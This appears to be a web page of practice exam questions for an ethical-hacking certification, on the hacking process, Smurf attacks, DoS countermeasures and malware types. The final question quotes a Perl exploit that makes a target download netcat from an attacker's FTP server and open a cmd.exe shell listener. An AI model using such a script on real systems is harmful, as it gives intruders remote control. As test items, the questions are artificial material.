Victor is a novice Ethical Hacker. He is learning the hacking process, i.e., the steps taken by malicious hackers to perform hacking. Which of the following steps is NOT included in the hacking process?

• A.Scanning
• B.Preparation
• C.gaining access
• D.Reconnaissance

Comment: *

Name: *

Email: *

Verification: *

You discover that your network routers are being flooded with broadcast packets that have the return address of one
of the servers on your network. This is resulting in an overwhelming amount of traffic going back to that server and
flooding it. What is this called?

• A.Smurf attack
• B.IP spoofing
• C.Blue jacking
• D.Syn flood

Comment: *

Name: *

Email: *

Verification: *

A Denial-of-Service (DoS) attack is mounted with the objective of causing a negative impact on the performance of a computer or network. It is also known as network saturation attack or bandwidth consumption attack. Attackers perform DoS attacks by sending a large number of protocol packets to a network. The problems caused by a DoS attack are as follows:
l Saturation of network resources
l Disruption of connections between two computers, thereby preventing communications between services
l Disruption of services to a specific computer
l Failure to access a Web site l Increase in the amount of spam
Which of the following can be used as countermeasures against DoS attacks?
Each correct answer represents a complete solution. Choose all that apply.

• A.Applying router filtering
• B.Disabling unneeded network services
• C.Permitting network access only to desired traffic
• D.Blocking undesired IP addresses

Comment: *

Name: *

Email: *

Verification: *

Which of the following types of malware does not replicate itself but can spread only when the circumstances are beneficial?

• A.Mass mailer
• B.Worm
• C.Blended threat
• D.Trojan horse

Comment: *

Name: *

Email: *

Verification: *

Adam, a malicious hacker performs an exploit, which is given below:
#####################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = '[email protected]';# password
#####################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -
h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get hacked. html>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port");
exit(0);
Which of the following is the expected result of the above exploit?

• A.Opens up a telnet listener that requires no username or password
• B.Creates an FTP server with write permissions enabled
• C.Opens up a SMTP server that requires no username or password
• D.Creates a share called "sasfile" on the target system

Comment: *

Name: *

Email: *

Verification: *